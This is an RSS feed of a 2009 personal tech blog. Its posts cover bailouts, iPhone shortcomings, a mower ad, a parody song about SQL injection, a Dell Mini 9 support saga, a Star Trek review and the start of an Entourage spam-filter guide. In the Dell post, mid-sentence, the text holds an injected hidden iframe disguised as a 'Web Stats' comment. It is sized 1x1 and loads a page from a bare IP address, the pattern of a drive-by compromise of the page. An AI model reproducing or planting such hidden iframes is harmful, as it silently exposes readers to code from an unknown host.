<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" version="2.0">

<channel>
	<title>Paco Hope</title>
	
	<link>http://paco.to</link>
	<description>My Random Musings and Rants</description>
	<pubDate>Tue, 30 Jun 2009 13:15:47 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/PacoHope" type="application/rss+xml" /><item>
		<title>America rewards poor decisions</title>
		<link>http://paco.to/?p=360</link>
		<comments>http://paco.to/?p=360#comments</comments>
		<pubDate>Tue, 30 Jun 2009 13:15:47 +0000</pubDate>
		<dc:creator>paco</dc:creator>
		
		<category><![CDATA[Personal]]></category>

		<category><![CDATA[Rants]]></category>

		<category><![CDATA[bailout]]></category>

		<category><![CDATA[cash for clunkers]]></category>

		<category><![CDATA[grocery bags]]></category>

		<category><![CDATA[tax amnesty]]></category>

		<guid isPermaLink="false">http://paco.to/?p=360</guid>
		<description><![CDATA[If you are an American who makes poor decisions, fear not. Our government rewards you. In big ways and small, what was once the honorable virtue of forgiveness has been twisted into a pattern of taking the sting out of making bad decisions. This just fosters bad decision making and penalizes people who make good [...]]]></description>
			<content:encoded><![CDATA[<p>If you are an American who makes poor decisions, fear not. Our government rewards you. In big ways and small, what was once the honorable virtue of forgiveness has been twisted into a pattern of taking the sting out of making bad decisions. This just fosters bad decision making and penalizes people who make good decisions.<span id="more-360"></span></p>
<p>Here&#8217;s four examples, starting with the trivial and working up to the biggies. I do it this way because the biggies are well-trodden at this point. Warning: I&#8217;m cranky this morning.</p>
<h2>Reusable Grocery Bags</h2>
<p>Good idea, right? Of course. While some of us paid for them, though, there are literally <a href="http://online.wsj.com/article/SB122238422541876879.html" target="_blank">millions of them being given away</a>. These are people who wouldn&#8217;t otherwise do their share. They need both the carrot and the stick. They keep using the environmentally-polluting bags until someone gives them a bag, and even then we have to <a href="http://www.washingtontimes.com/news/2009/jun/02/dc-council-approves-plastic-bag-tax/" target="_blank">threaten with taxes or fees</a> just to make them use it. So your reward for not spending the $6 or $7 to get 6 or 7 reusable grocery bags is that you will have them given to you. Your reward for buying them 18 months ago: priceless—as in zero.</p>
<h2>Maryland&#8217;s Tax Amnesty</h2>
<p>At the end of a booming stock market, as we&#8217;ve slid deep into a recession, the state of Maryland is trying to boost its tax revenues. Its plan is a <a href="http://www.examiner.com/x-648-Baltimore-Financial-Examiner~y2009m6d12-Maryland-tax-amnesty-tax-delinquents-get-a-second-chance">tax amnesty</a>, the <a href="http://www.bizjournals.com/baltimore/stories/2001/08/27/daily12.html" target="_blank">second one this decade</a>. So what does this tell you? If you live or pay taxes in Maryland, don&#8217;t pay your taxes on time or in full. Use that money to invest in a booming stock market, make a bunch of profits and then pay the taxes during an amnesty. Done well, your market winnings should easily exceed the reduced interest and waived fees during the amnesty. If you don&#8217;t make a big bundle on the stock market, that&#8217;s OK. It wasn&#8217;t your money you were gambling anyways. And all the people who paid their taxes on time? They see no relief or reward.</p>
<h2>Cash for Clunkers</h2>
<p>I know of few other laws that slap good people in the face like this one. If you&#8217;re making good money and you drive a responsible car: keep doing that because we&#8217;re gonna take that for granted. People who drive gas guzzlers (which should never have been manufactured in the first place) will get a check, practically made out to GM, that lets them get a car more easily. Most importantly, the teeming millions who drive reasonable cars that are neither gas guzzlers nor hybrids get nothing. If you drive a gas guzzling beater and pollute to high heaven for years on end,  you&#8217;ll get a nice government handout. Be responsible and pick a middle-of-the road car? We have nothing for you.</p>
<h2>Gross Mismanagement? There, there, it&#8217;s not so bad, have a few billion&#8230;</h2>
<p>As I said, I&#8217;m leaving this for last because it&#8217;s the biggest and it&#8217;s well trodden. The whole concept of capitalism, however, is that market forces pick the winners, thin the herd, etc. However, the new measure of corporate success is not being a blue-chip stock. That&#8217;s so 20th century. The new measure of corporate success is TBTF: too big to fail. Given the bailouts we&#8217;ve seen lately, why does it not make sense to build behemoth companies that acquire tons of strategic business units. Profit like mad as you grow, then when it falls, hand it to the government to clean up the mess. The list of companies where this is happening is staggering.</p>
<p>The problem with this one is that I&#8217;m way out of my league here. I have no solution. Economic armaggeddon might be a bit of a high price to pay to &#8220;teach those guys a lesson.&#8221; Fine. But surely there is something else we can do other than saddle our grandchildren&#8217;s grandchildren with the debts that our own grandparents created. I can&#8217;t believe that the best solution is to throw it in the landfill of public debt and let it become someone else&#8217;s problem.</p>
]]></content:encoded>
			<wfw:commentRss>http://paco.to/?feed=rss2&amp;p=360</wfw:commentRss>
		</item>
		<item>
		<title>Stuff my iPhone Still Doesn’t Do</title>
		<link>http://paco.to/?p=358</link>
		<comments>http://paco.to/?p=358#comments</comments>
		<pubDate>Mon, 29 Jun 2009 13:01:25 +0000</pubDate>
		<dc:creator>paco</dc:creator>
		
		<category><![CDATA[iPhone]]></category>

		<category><![CDATA[bluetooth]]></category>

		<category><![CDATA[sms]]></category>

		<guid isPermaLink="false">http://paco.to/?p=358</guid>
		<description><![CDATA[I got an iPhone 3GS recently. That, plus iPhone software 3.0, gives me a lot of new features. I&#8217;m still surprised at the things that Nokia had years ago, but Apple still hasn&#8217;t adopted.
I had a Nokia phone for several years before I got my first iPhone. Now, don&#8217;t get me wrong: I&#8217;m sticking with [...]]]></description>
			<content:encoded><![CDATA[<p>I got an iPhone 3GS recently. That, plus iPhone software 3.0, gives me a lot of new features. I&#8217;m still surprised at the things that Nokia had years ago, but Apple still hasn&#8217;t adopted.<span id="more-358"></span></p>
<p>I had a Nokia phone for several years before I got my first iPhone. Now, don&#8217;t get me wrong: I&#8217;m sticking with Apple. I love my iPhone. But there are still a few things that it makes a pain or impossible.</p>
<p><strong>SMS Templates</strong>: I find myself sending lots of messages that are largely the same. Nokia had templates for SMS messages. If I want to say &#8220;on my way&#8221; or &#8220;leaving work&#8221; or &#8220;where are you?&#8221; I could just flick through a few templates, hit a couple of buttons and I was on my way.</p>
<p><strong>Wireless Sync</strong>: Huh? What&#8217;s this USB cable thing, anyways? MacOS X was able to sync over bluetooth with my Nokia back in 2004. Now, I realize that 16GB of data isn&#8217;t going over Bluetooth any time soon. But we&#8217;ve got WiFi. How about some WiFi sync?</p>
<p><strong>Files and Data</strong>: To this day, you have to use iTunes and a proprietary interface to pull photos out, and you can&#8217;t store files on the thing unless you jump through some hoops and buy some software. Regular iPods were always a hybrid of music and data. Most phones allow it, too. This thing tries to pretend it doesn&#8217;t have a filesystem and it doesn&#8217;t offer interfaces. Again, we had this 6 or 7 years ago in phones.</p>
<p><strong>Bluetooth is crippled</strong>: I should be able to zing my contacts, photos, voice recordings, applications, or anything else via Bluetooth <a href="http://en.wikipedia.org/wiki/OBEX" target="_blank">OBEX</a>. As it is, there are just a few limited things you can do with Bluetooth. Far less than the typical bluetooth phone.</p>
]]></content:encoded>
			<wfw:commentRss>http://paco.to/?feed=rss2&amp;p=358</wfw:commentRss>
		</item>
		<item>
		<title>He ain’t heavy, he’s my mower</title>
		<link>http://paco.to/?p=353</link>
		<comments>http://paco.to/?p=353#comments</comments>
		<pubDate>Sun, 28 Jun 2009 01:52:19 +0000</pubDate>
		<dc:creator>paco</dc:creator>
		
		<category><![CDATA[Rants]]></category>

		<category><![CDATA[Web Stuff]]></category>

		<guid isPermaLink="false">http://paco.to/?p=353</guid>
		<description><![CDATA[If you check out Neuton Mowers, they&#8217;re these battery-powered lawn mowers. I get the whole non-polluting, lower noise thing. But their comparison chart leaves something to be desired on the honesty scale.
Take a look at the graphic from their front page:
Two things strike me as a bit odd. I currently have one of these &#8220;Old&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>If you check out <a href="http://www.neutonpower.com/" target="_blank">Neuton Mowers</a>, they&#8217;re these battery-powered lawn mowers. I get the whole non-polluting, lower noise thing. But their comparison chart leaves something to be desired on the honesty scale.<span id="more-353"></span></p>
<p>Take a look at the graphic from their front page:</p>
<div id="attachment_354" class="wp-caption alignright" style="width: 331px"><img class="size-full wp-image-354" title="NeutonMower" src="http://paco.to/wp-content/uploads/2009/06/picture-1.png" alt="Neuton Mowers Comparison" width="321" height="445" /><p class="wp-caption-text">Neuton Mowers Comparison</p></div>
<p>Two things strike me as a bit odd. I currently have one of these &#8220;Old&#8221; mowers. Notice that they characterize my mower as &#8220;Heavy.&#8221; They don&#8217;t say how heavy, but I&#8217;d estimate mine between 40 and 50 pounds. Then notice that their mower is &#8220;<em>Only</em>&#8221; 69 pounds. There is no way my old skool mower is 69 pounds. It&#8217;s obvious why they just said &#8220;Heavy,&#8221; because if they gave a typical number or an average, they couldn&#8217;t compare favorably.</p>
<p>The other thing they say is that the Neuton makes &#8220;less than half the noise.&#8221; Now, noise is traditionally measured in decibels, and lawnmowers are typically estimated around 90 decibels. The decibel scale is a logarithmic one, which always makes it a bit unintuitive. Now, half of 90 dB would be 45, but they say it&#8217;s &#8220;less than half.&#8221; Refrigerators humming are estimated at 40 dB. I find it hard to believe that this thing is somewhere around as loud as a refrigerator humming.</p>
<p>Finally, there&#8217;s the fallacy of &#8220;emissions-free.&#8221; Nothing is emissions free. At best we can say it does not directly emit pollutants after you purchase it. However, consider how many pollutants were generated  to produce it in the first place. Compare that to the traditional mower and they probably compare more or less equally. While Neuton mowers may be zero emissions when operating, they are not zero pollution. Your coal-fired electric plant provides the electricity that charges the batteries. And some day some really awful chemicals in the batteries have to be disposed of carefully when it has reached the end of its life. So zero emissions, yes. Zero pollution, no.</p>
]]></content:encoded>
			<wfw:commentRss>http://paco.to/?feed=rss2&amp;p=353</wfw:commentRss>
		</item>
		<item>
		<title>50 Ways to Inject Your SQL</title>
		<link>http://paco.to/?p=347</link>
		<comments>http://paco.to/?p=347#comments</comments>
		<pubDate>Mon, 15 Jun 2009 01:48:49 +0000</pubDate>
		<dc:creator>paco</dc:creator>
		
		<category><![CDATA[Fun Stuff]]></category>

		<category><![CDATA[Software Testing]]></category>

		<category><![CDATA[Web Stuff]]></category>

		<guid isPermaLink="false">http://paco.to/?p=347</guid>
		<description><![CDATA[I did a Parody of Paul Simon&#8217;s &#8220;50 Ways to Leave Your Lover.&#8221; It&#8217;s very geeky, though. It&#8217;s &#8220;50 Ways to Inject Your SQL.&#8221; Yes, that&#8217;s me singing.
I got the idea after explaining some really crappy code to my wife and how it did a ridiculous job protecting against SQL injection. I said &#8220;there must [...]]]></description>
			<content:encoded><![CDATA[<p>I did a Parody of Paul Simon&#8217;s &#8220;50 Ways to Leave Your Lover.&#8221; It&#8217;s very geeky, though. <a href="http://www.youtube.com/watch?v=5pSsLnNJIa4"><img class="alignleft" src="http://i2.ytimg.com/vi/5pSsLnNJIa4/default.jpg" alt="" width="120" height="90" /></a>It&#8217;s &#8220;<a href="http://www.youtube.com/watch?v=5pSsLnNJIa4" target="_blank">50 Ways to Inject Your SQL</a>.&#8221; Yes, that&#8217;s me singing.<span id="more-347"></span></p>
<p>I got the idea after explaining some really crappy code to my wife and how it did a ridiculous job protecting against SQL injection. I said &#8220;there must be 50 ways to inject SQL into that code.&#8221; That&#8217;s when she sang a couple bars and I realized it would be a great idea. Now, my singing it might not have been such a great idea, but the parody was a good idea.<br />
<object width="425" height="344" data="http://www.youtube.com/v/5pSsLnNJIa4&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/5pSsLnNJIa4&amp;hl=en&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /></object></p>
<p>I downloaded the music from a MIDI site, and then arranged it in GarageBand. Here are the lyrics:</p>
<p><em>I see your input&#8217;s not validated properly<br />
You have to check it at all tiers: 1, 2 and 3<br />
Give me a browser and quite soon you will agree. There must be<br />
50 ways to inject your SQL</em></p>
<p><em>You see it really is my business to intrude<br />
The CTO wants to see this web app broke into<br />
Turn on my proxy and all doubt will be removed. There must be<br />
50 ways to inject your SQL<br />
50 ways to inject your SQL</em></p>
<p><em>Try a quick hack, Jack<br />
Add a new row, Joe<br />
Try an insert, Kurt<br />
Change their SQL query</em></p>
<p><em>Evade the regex, Rex<br />
Encode it all in hex<br />
Unbalance the quotes, Vinod<br />
And change the query</em></p>
<p><em>Break the syntax, Max<br />
Use a backslash, Cash<br />
Try command shell, Mel,<br />
And change the query</em></p>
<p><em>Use &#8220;one equals one,&#8221; son,<br />
Unhandled exception!<br />
Read the stack trace, ace<br />
and change the query</em></p>
<p><em>He said our application is secure against your kind<br />
There are no simple vulnerabilities to find<br />
I said your coders write their code like they are blind, there must be<br />
50 ways to inject your SQL</em></p>
<p><em>He said our logs show unexpected funds were sent<br />
Its probably time we started using Prepared-Statements<br />
I said I&#8217;m glad you&#8217;re seeing what I meant, there were<br />
50 ways to inject your SQL<br />
50 ways to inject your SQL</em></p>
<p><em>Break the syntax, Max<br />
Use a backslash, Cash<br />
Try command shell, Mel,<br />
And change the query</em></p>
<p><em>Use &#8220;one equals one,&#8221; son,<br />
Unhandled exception!<br />
Read the stack trace, ace<br />
and change the query</em></p>
<p><em>Try a quick hack, Jack<br />
Add a new row, Joe<br />
Try an insert, Kurt<br />
Change their SQL query</em></p>
<p><em>Evade the regex, Rex<br />
Encode it all in hex<br />
Unbalance the quotes, Vinod<br />
And change the query</em></p>
]]></content:encoded>
			<wfw:commentRss>http://paco.to/?feed=rss2&amp;p=347</wfw:commentRss>
		</item>
		<item>
		<title>The suckage that is Dell Tech Support</title>
		<link>http://paco.to/?p=342</link>
		<comments>http://paco.to/?p=342#comments</comments>
		<pubDate>Thu, 28 May 2009 16:26:18 +0000</pubDate>
		<dc:creator>paco</dc:creator>
		
		<category><![CDATA[MacOS]]></category>

		<category><![CDATA[Rants]]></category>

		<category><![CDATA[Technical]]></category>

		<category><![CDATA[dell]]></category>

		<category><![CDATA[hackint0sh]]></category>

		<category><![CDATA[mini]]></category>

		<category><![CDATA[tech support]]></category>

		<guid isPermaLink="false">http://paco.to/?p=342</guid>
		<description><![CDATA[As you may know, I bought a Dell Mini 9 to hackint0sh it. I got it running Mac OS X   with only a little difficulty (mainly around trying to shoehorn OS X onto a tiny SSD). Then the Wi-Fi card went out. Now, I&#8217;m stuck in Tech Support Hell.
The TimeLine
Thursday 5/14: I call [...]]]></description>
			<content:encoded><![CDATA[<p>As you may know, I bought a Dell Mini 9 <a href="http://paco.to/?p=309">to hackint0sh it</a>. I got it running Mac OS X<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> with only a little difficulty (mainly around trying to shoehorn OS X onto a tiny SSD). Then the Wi-Fi card went out. Now, I&#8217;m stuck in Tech Support Hell.<span id="more-342"></span></p>
<h2>The TimeLine</h2>
<p><strong>Thursday 5/14</strong>: I call Dell and report the problem. They made me find a wired connection, do a whole lot of apt-get updates and so on to get the latest version of Linux. Downloading hundreds of megs of feces (like gnome, evolution, thunderbird, firefox, gcc, libstdc++) that is totally unrelated to my problem makes me mad. Knowing that the only way out is through, I do it. After 2 hours of back and forth we decide I need to ship the unit back.</p>
<p><strong>Friday 5/15</strong>: A box arrives to ship it back. Wow. Very fast.</p>
<p><strong>Monday 5/18</strong>: I ship the unit out through my office&#8217;s regular 7pm daily pickup.</p>
<p><strong>Thursday 5/21</strong>: I get a call from &#8220;Saikumar,&#8221; my case worker, asking if I have shipped the unit yet. I tell him yes. He has no info for me, he&#8217;s just wondering where the laptop is. Why can&#8217;t he go to FedEx.com?</p>
<p><strong>Friday 5/22</strong>: I get a voice message at 7:00pm from an authorized repair service in Houston saying that he wants to reinstall the operating system on the unit, but that will delete all my data. I leave him voice mail saying that&#8217;s fine. In my voice mail I tell him I want him to be sure to check that the unit can connect to a Wi-Fi network. I specifically ask him to call me so we can talk about this. I also send email (by replying to Dell&#8217;s automated messages) describing this exchange of voice mails.</p>
<p><strong>Monday 5/25</strong>: I get a call at 10:30pm from Saikumar asking if I have received my laptop yet. He had no information for me, just wanted to know if I had received the laptop. Given that a technician was working on it on Friday, receiving it on Monday seems pretty improbable. What&#8217;s the point of this support guy calling me?</p>
<p><strong>Wednesday 5/27</strong>: I get a phone call and an email saying that my laptop has shipped. That&#8217;s handy, but the laptop shows up on my doorstep about 2 hours later, so it&#8217;s a little superfluous. There is a note in the box with the laptop. It says they &#8220;tested its hardware extensively&#8221; and then they reinstalled the OS. Guess what? It is still broken! So I call them back and I am irate. They want me to update Linux. It says it will take 2 hours, so I go back to work and let that run a while.</p>
<div id="attachment_343" class="wp-caption alignright" style="width: 310px"><a href="http://paco.to/wp-content/uploads/2009/05/img_1185.jpg"><img class="size-medium wp-image-343" title="Dell kernel panic" src="http://paco.to/wp-content/uploads/2009/05/img_1185-300x225.jpg" alt="Wi-Fi kernel panic on Dell Mini 9" width="300" height="225" /></a><p class="wp-caption-text">Wi-Fi kernel panic on Dell Mini 9</p></div>
<p>So: let me get this straight: it is not unusual that Dell&#8217;s service technician will install an operating system that doesn&#8217;t work and that exhibits my problem? OK. So back to the reinstall thing. Meanwhile, I blow them off and learn how to use the <span style="text-decoration: underline;">wpa_supplicant</span> command to bring up the WiFi from the command line. Instead of using the X-based GUI, I go to the console (Ctrl-Alt-Fn-A, which is essentially Ctrl-Alt-F1) and fire up the WiFi. Sure enough, kernel panic. The sequence of steps, though, is specific and completely reproducible.</p>
<ul>
<li>It will associate with my access point just fine (i.e., <span style="text-decoration: underline;">wpa_supplicant</span> works fine and gives me good messages)</li>
<li>It will get an IP address from DHCP just fine (<span style="text-decoration: underline;">dhclient</span> runs fine)</li>
<li>As soon as I start doing traffic over it, blam!</li>
</ul>
<p>I sent the screenshots of the kernel panic to Dell. Right. Like they know what a kernel panic is.</p>
<h1>Criticisms of Dell Tech Support</h1>
<ol>
<li>Saikumar, my case worker, is not giving me information. He is asking me for information. He is not helping <em>me</em>, I am helping <em>him</em>. He doesn&#8217;t know where my laptop is, who is working on it, or what they&#8217;re doing to it. He should begin conversations by giving me information that I don&#8217;t have. Otherwise, he should not call me. Furthermore, I sent email, but he seemed unaware of that email when he called 2 days later. What is his purpose in this transaction?</li>
<li>I specifically asked the Dell authorized technician to call me to be sure that my issue was tested correctly. I got no response or acknowledgement. I called the number I was given many times, but no one ever answered. The next contact I got from Dell was a phone call and email saying my laptop was shipped back to me. At that point it was too late to address my concerns.</li>
<li>I don&#8217;t think Dell has correctly understood my issue. My laptop does not &#8220;freeze&#8221; randomly. It only freezes (and ALWAYS freezes) when connecting to WiFi networks. So the service technician calls and mentions my &#8220;freezing problem&#8221; and how he&#8217;s going to reinstall the operating system. That tells me he doesn&#8217;t know or isn&#8217;t paying attention to my specific symptom. <em><strong>I</strong></em> updated the operating system when Saikumar and I were troubleshooting. If an OS update were going to fix the problem, I think it already would have.</li>
<li>Dell sent me an operating system installed that still exhibited my problem. Despite that, they STILL want to update and upgrade and so on.</li>
<li>At what point will they admit that it is a hardware issue?</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://paco.to/?feed=rss2&amp;p=342</wfw:commentRss>
		</item>
		<item>
		<title>Star Trek boldly went where no one had gone before: good</title>
		<link>http://paco.to/?p=338</link>
		<comments>http://paco.to/?p=338#comments</comments>
		<pubDate>Thu, 14 May 2009 03:38:08 +0000</pubDate>
		<dc:creator>paco</dc:creator>
		
		<category><![CDATA[Fun Stuff]]></category>

		<category><![CDATA[News]]></category>

		<category><![CDATA[movies]]></category>

		<category><![CDATA[review]]></category>

		<category><![CDATA[star trek]]></category>

		<guid isPermaLink="false">http://paco.to/?p=338</guid>
		<description><![CDATA[There are a gazillion reviews for the latest Star Trek movie out there. Here&#8217;s mine.
The place they went that no one had gone before? They made a good prequel. Virtually all revisits of classic things (c.f., the Transformers, George Lucas&#8217; revisits to Star Wars and E.T., Batman) are terrible. This one is the best in [...]]]></description>
			<content:encoded><![CDATA[<p>There are a gazillion reviews for the latest Star Trek movie out there. Here&#8217;s mine.</p>
<p>The place they went that no one had gone before? They made a good prequel. Virtually all revisits of classic things (c.f., the Transformers, George Lucas&#8217; revisits to Star Wars and E.T., Batman) are terrible. This one is the best in a long, long line of movies and TV shows.<span id="more-338"></span></p>
<p>The actors are A+. Unlike George Lucas, who only directs in clichés and can&#8217;t direct humans to save his life, JJ Abrams knows how to elicit amazing performances from a cast of great actors. None of these actors is a marquee name like Patrick Stewart, but they deliver marquee performances. The major cast is Chris Pine, Zachary Quinto, John Cho, Ben Cross, Bruce Greenwood, and Simon Pegg. You can tell that they studied the original actors some, but yet it&#8217;s still fresh, new, and worth seeing. It&#8217;s not a rehash.</p>
<h1 style="text-align: center;">Warning! Spoilers!</h1>
<p>I&#8217;m not interested in writing a review where I can&#8217;t talk about what happened, so I&#8217;m going to give up various details. If you don&#8217;t want to read spoilers, look elsewhere.</p>
<h2>Great Stuff</h2>
<p>This is stuff that I think is really outstanding, unique and new to the Star Trek universe.</p>
<h3>Spock is really nuanced</h3>
<p>I&#8217;m not sure i like the fact taht he seems to have an achilles heel for emotion related to his mother, but it works. I especially like the way he gracefully gives up command, recognizing his own instability. It was dignified and played well.</p>
<h3>Pike&#8217;s best line</h3>
<p>One of the best lines in the whole film is when Pike challenges Kirk to join Starfleet. It goes something like this: &#8220;Your father was captain of a ship for 12 minutes. And in that time he saved the lives of 800 people, including your mother and you. I&#8217;d like to see you try to do better.&#8221; I thought that line was delivered brilliantly, and that it really reached out at Kirk and poked him where he was vulnerable.</p>
<h3>All the good lines, none of the bad</h3>
<p>All the lines you expect from the classic characters are here.</p>
<ul>
<li>Dammit Jim, I&#8217;m a doctor not a&#8230;</li>
<li>Fascinating&#8230;</li>
<li>I&#8217;m givin her all she&#8217;s got, Captain</li>
</ul>
<p>While there&#8217;s definitely a tribute to the classic lines, they don&#8217;t dwell on it. It&#8217;s not like watching a rerun on TV.</p>
<h3>New depth for Bones</h3>
<p>Dr. McCoy has a more nuanced character. He&#8217;s sorta pessimistic and gloomy, but in a way that&#8217;s not too far afield from the original character. I really like his attitude. It&#8217;s different, but it works. &#8220;Tell me something I don&#8217;t know!&#8221;</p>
<h3>A new spin on Scotty</h3>
<p>Scotty gets a sort of unsung hero geek makeover. He easily gets some of my favorite lines in the movie, and I&#8217;m already a big fan of Simon Pegg&#8217;s work (Shaun of the Dead and Hot Fuzz). The <a href="http://www.rollingstone.com/reviews/movie/20314046/review/27993027/1078_star_trek" target="_blank">Rolling Stone review</a> suggested that he was one of the scene stealers, I think he was far and away the biggest scene stealer. If he was in the scene, you wanted to watch him. The unsung hero bit is good. It makes him out to be this sorta genius whose greatness is completely taken for granted and nobody realizes how unbelievable it is. Contrast this with, say, Data from the Next Generation, where all his intellectual prowess is totally expected. Scotty is taken for granted in a different way.</p>
<h3>Brilliant casting</h3>
<p>I&#8217;ll stop singing their praises soon. But I would watch this group of actors over and over again, assuming they were written and directed at the same quality.</p>
<h2>The not-so-good</h2>
<p>There were a few things I was not keen on.</p>
<h3>Reboot</h3>
<p>By invoking time-travel (which is already overused in the Star Trek universe—to the point of being taken for granted), they have rebooted a few things. Now Kirk never knew his father. Now Kirk was born in space fleeing a Romulan ship. Now Kirk and Spock started off hating each other and Spock was the designer of the unwinnable scenario at Starfleet Academy. Vulcan is now destroyed and they&#8217;re recolonizing some new planet. Now Spock and Uhura are getting it on after hours. I feel like this was a bit of a cop-out on the part of the writers. They needed room to write new and interesting stories for the characters and the whole Star Trek universe has gotten so built up with cruft. It does sorta ignore what has come before, though.</p>
<h3>A little George Lucas</h3>
<p>One of the things George Lucas does a lot in the various Star Wars movies, especially the prequel abominations, is pointless travel from one place to another that does not advance the plot or the characters. In Star Wars these are like special effects solos the way there are big multi-minute instrument solos in rock concerts. But I digress.</p>
<p>In Star Trek there is a point where Kirk is marooned on the moon overlooking Vulcan (Delta Vega?), which appears about as hospitable as Antarctica. The wise computer tells him to sit tight, help is on the way, but he seems to think that wandering the frozen wastes is a better idea. It&#8217;s not clear that he has a plan or even a vague idea which direction to go. I get the whole idea that he&#8217;s a &#8220;man of action&#8221; and I realize he can&#8217;t just sit still, but that looked like suicide.</p>
<p>So then he&#8217;s walking across the wastes. This is the point-A-to-point-B thing. Where&#8217;s he going? Why is he just walking? A big monster comes to get him. But the big monster is attacked by a bigger monster. This is <em>right out of Episode I: The Phantom Menace</em> when the main characters take a pointless journey from point A to point B &#8220;through the planet core.&#8221; Twice (not once, but twice) on that journey they are attacked by a big sea creature and then rescued when a bigger sea creature eats it.</p>
<p>Star Trek, unfortunately, borrows this gimmick and then gets it a bit wrong. I mean: here&#8217;s this Tyrannosaurus Delta Vega who was happy to attack the rabid polar bear monster because it looked like lunch. Then T-Rex sees a scrawny human and says &#8220;hey, I&#8217;d rather chase that wimpy thing that&#8217;s a third the size of polar bear.&#8221; This makes no sense. The bigger monster should have gone after the biggest lunch—the monster polar bear—and ignored Kirk. The scene also takes too long. It&#8217;s too many minutes out of the screen play and we don&#8217;t really advance the plot or learn something about the characters. I mean, Kirk isn&#8217;t even ingenious or particularly interesting in these scenes. He&#8217;s just running, tumbling, etc.</p>
<p>Finally, Kirk just happens to bump into time-travelling Spock. That&#8217;s just too coincidental. This movie could have cut 10 minutes out by having Spock find Kirk (having seen the pod crash land) or by having Kirk find Spock without the goofy monster chase. Something more believable would have made things move along faster and not strained believability so much.</p>
<p>Of course, when the two of them set out to go to the Starfleet outpost, they arrive there without incident.</p>
<h3>Sudden rise to the top?</h3>
<p>I like Star Trek, but I&#8217;m not a big enough fan to know if the Enterprise was always Starfleet&#8217;s flagship, or if that detail was added later. Moreover, I&#8217;m not sure I buy the timeline. Kirk graduates in 3 years from the academy when most do it in 4, and a couple amazing displays of leadership lands him the position of Captain on the Starfleet flagship? Seems unlikely. I got the feeling, in the original series, that Kirk served under Pike for more than a few hours. I think the timeline has been compressed a bit too much for believability.</p>
<h3>Love interest for Spock?</h3>
<p>I&#8217;m not sure I see the value or the believability in the Spock/Uhura thing. They may have gone a bit too far in the Spock-is-half-human department.</p>
<h3>A little time travel never hurt anyone</h3>
<p>In the end, we&#8217;re all OK. The timeline has been altered, there are two Spocks running around, but nobody seems the least bit troubled by this. Nobody&#8217;s studying it trying to put things right. Everyone&#8217;s just happy living in an altered timeline, with only the old Spock knowing both timelines. I think this is pretty cavalier on the part of every character who understands what has happened. (i.e., only a few are aware that time travel has occured). Both Spocks, Kirk, and presumably a few others know what has happened. But nobody&#8217;s worried and there&#8217;s no need to fix it.</p>
]]></content:encoded>
			<wfw:commentRss>http://paco.to/?feed=rss2&amp;p=338</wfw:commentRss>
		</item>
		<item>
		<title>Entourage Rule to Filter Russian Spam</title>
		<link>http://paco.to/?p=328</link>
		<comments>http://paco.to/?p=328#comments</comments>
		<pubDate>Fri, 08 May 2009 14:20:28 +0000</pubDate>
		<dc:creator>paco</dc:creator>
		
		<category><![CDATA[MacOS]]></category>

		<category><![CDATA[Technical]]></category>

		<category><![CDATA[email]]></category>

		<category><![CDATA[entourage]]></category>

		<category><![CDATA[russian]]></category>

		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://paco.to/?p=328</guid>
		<description><![CDATA[I&#8217;m starting to get a lot of Russian spam now. The good news is that I don&#8217;t understand it, so I can&#8217;t possibly fall for it. The bad news is that my junk email filters and even Postini are not catching it. I created a rule in Entourage that handles them.
First, go to Tools → [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m starting to get a lot of Russian spam now. The good news is that I don&#8217;t understand it, so I can&#8217;t possibly fall for it. The bad news is that my junk email filters and even <a href="http://www.postini.com/" target="_blank">Postini</a> are not catching it. I created a rule in <a href="http://www.microsoft.com/mac/products/entourage2008/default.mspx" target="_blank">Entourage</a> that handles them.</p>
<p><span id="more-328"></span>First, go to Tools → Rules. In my case I&#8217;m attached to an Exchange server, so I have to make a new Exchange rule. <strong>Note that!</strong> If you POP your email, you have to create a POP rule. If you use IMAP, you have to create an IMAP rule. This is dumb. You can create the rule in the wrong category and it will never fire, and you&#8217;ll be left wondering why. If you have more than one account, you have to create more than one copy of this rule. Sigh.</p>
<p>Here&#8217;s the kind of message I&#8217;m trying to block. In Entourage, it looks like this:</p>
<p><a rel="attachment wp-att-329" href="http://paco.to/?attachment_id=329"><img class="size-thumbnail wp-image-329 alignnone" style="border: 1px solid black;" title="Russian Spam Message" src="http://paco.to/wp-content/uploads/2009/05/russianspam1.png" alt="Russian Spam Message" width="430" height="289" /></a></p>
<p>If you go to Message → View Source, you&#8217;ll see the actual source, which shows why it&#8217;s kinda hard to write a rule for this:</p>
<p><a rel="attachment wp-att-330" href="http://paco.to/?attachment_id=330"><img class="alignnone size-medium wp-image-330" style="border: 1px solid black;" title="Russian Spam Message Source" src="http://paco.to/wp-content/uploads/2009/05/russianspam2.png" alt="Russian Spam Message Source" width="558" height="239" /></a></p>
<p>The Subject, From, and other fields use the koi8-r character set (A Russian character set), but they do it in-line. That is, rather than having some top-level header that says &#8220;Hey, we&#8217;re all in Russian,&#8221; they do it at each place they need it. Standards-compliant, sneaky, and effective.</p>
<p>What I do is the following:</p>
<ol>
<li>Open one of the messages and copy a small, presumably common word, like <strong><span style="color: #993300;">на</span></strong>. You have to do this by copying (possibly from my blog post right here) because there&#8217;s nothing you can enter by hand that will actually match.</li>
